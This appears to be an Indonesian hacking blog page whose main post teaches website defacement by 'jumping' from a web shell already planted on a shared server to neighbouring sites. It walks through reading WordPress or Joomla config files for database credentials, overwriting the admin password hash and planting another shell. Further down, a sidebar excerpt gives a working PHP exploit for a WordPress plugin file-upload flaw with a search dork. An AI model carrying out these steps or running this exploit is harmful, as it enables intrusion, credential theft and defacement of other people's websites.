Deface dengan teknik Jumping

Sekalian nih gan ane Share Deface dengan Jumping.

Bahan bahanne:

Shell yg bisa Jumping aja :v ane pake

▐ Shell yang udah ketanem di Sebuah target

▐ Shell Andela

▐ My Sql form Login

Upload My Sql form Login nya dulu :v

Masuk Shell, klik "Jumping" lihat gambarr.

Tuhh ada Hasil nya, segituu ane dapet nya :v Pilih yang mana aja bebas.

Nah liat disitu dia pake Cms apa, kalo Cms Joomla cari "configuration.php" kalo Wordpress cari "wp-config.php". Berhubung site target jumping ane make Cms Wordpress jadi ane cari "wp-config.php"

Tuhh keliatan, db_name, db_user, db_password, db_host . kalo udah buka My Sql form login yang tadi di upload

Masukin data data yang di dapet tadi kalo, contoh nya liat gambar aja, kalo udah klik "Connect"

Tadi kan target ane Cms nya Wordpress nah jadi disini ane cari "wp_users". kalo target ente Cms nya Joomla cari aja yang berbau "jos_user".

Nahh kan ketauan User admin Pass dan lain lainn nya :v klik "Edit" Contohnya di gambar.

Nahh di kolom "user_pass" itu di ganti sama password ente Password Md5 yoo kalo belom ada Create disini kalo udah klik Save / Edit , lihatt gambar.

Masuk ke admin loginnya, Cms Wordpress admin Login nya ada di http://localhost/wp-login.php kalo Joomla ada di http://localhost/administrator/
kan target ane Cms nya Wordpress jadi ane masuk ke http://localhost/wp-login.php
Masukin User:Pass nya,

Yosss masuk tooo ke Dashboard Admin nya :D

Tinggal nanem Shell dehh :D

Sekian yaa , ane mau bikin Post lagi

Comments

WordPress dzs-zoomsounds Plugins <= 2.0 - Remote File Upload Vulnerability

################################################################################################### # Exploit Title: WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability # Vendor : http: //digitalzoomstudio.net/docs/wpzoomsounds/ # Author: bl4ck-dz # Date : 28/05/2015 # Infected File: upload.php # Category: webapps # Google dork:inurl:/wp-content/plugins/dzs-zoomsounds/ # Tested on : Linux | Windows ################################################################################################### <?php $evil = "dz.phtml" ; $ch = curl_init( "http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload.php" ); curl_setopt( $ch , CURLOPT_POST, true); curl_setopt( $ch , CURLOPT_POSTFIELDS, array ( 'file_field' => "@$evil" )); curl_setopt( $ch , CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec( $ch ); curl_close( $ch ); echo "$postResult" ; ?> Shell Access : http: //127.0.0.1/wp-content/plugins/dzs-zoo...

How to Install CloudSim in Ubuntu (in 3 easy steps)

The contents of this DIY has been tested on Ubuntu 12.04 LTS x64 with CloudSim 3.0.3 beta and JDK8u11 x64. It should work similarly on other distros of Ubuntu and for different version of JDK as long as you use Java version 1.5 or newer. The text shown in RED in the DIY represents the values that will differ depending upon your JDK version and locations. CloudSim is a framework for modelling and simulating cloud computing infrastructure and services. In this DIY we will see how to install CloudSim in Windows easily and efficiently. A more detailed description, APIs and research papers related to CloudSim can be found here . Let us begin. Step 1: Setting up the Prerequisites 1. First of all we need to download the CloudSim and latest version of the Java Development Toolkit (JDK). CloudSim can be found here . 2. CloudSim requires a working Java installation. So, open up a terminal and run the following 1 sudo add-apt-repository ppa:webupd8team/java 2 sudo apt-get...

How To Add or Remove System Icons From The Kali Linux Desktop

When Kali Linux is started, there are always one or more system icons on the desktop. “Computer” is usually a default icon. However, some people might like to remove this icon and/or add other icons like the famous “Trash” icon. All the other tutorials will tell you to use the Linux, “gconfig-editor,” but Kali Linux does not have this system editor! I believe I am the only one who knows of a way to do this, so let me share my knowledge in this simple tutorial. Step one: Start and login to Kali Linux using your account or the “root” account. Step two: Open the main menu. Hover your mouse on “System Tools,” and click on “dconf Editor.” After a few seconds, the dconf Editor will open. Now all you have to do is browse to the correct category and set the options. Step three: When the dconf Editor window opens, click on the plus sign next to “org” (located in the left pane). Step four: Now click the plus sign next to “gnome.” Step five: Scroll down the list in the left pan...

B4RC0D3

Search This Blog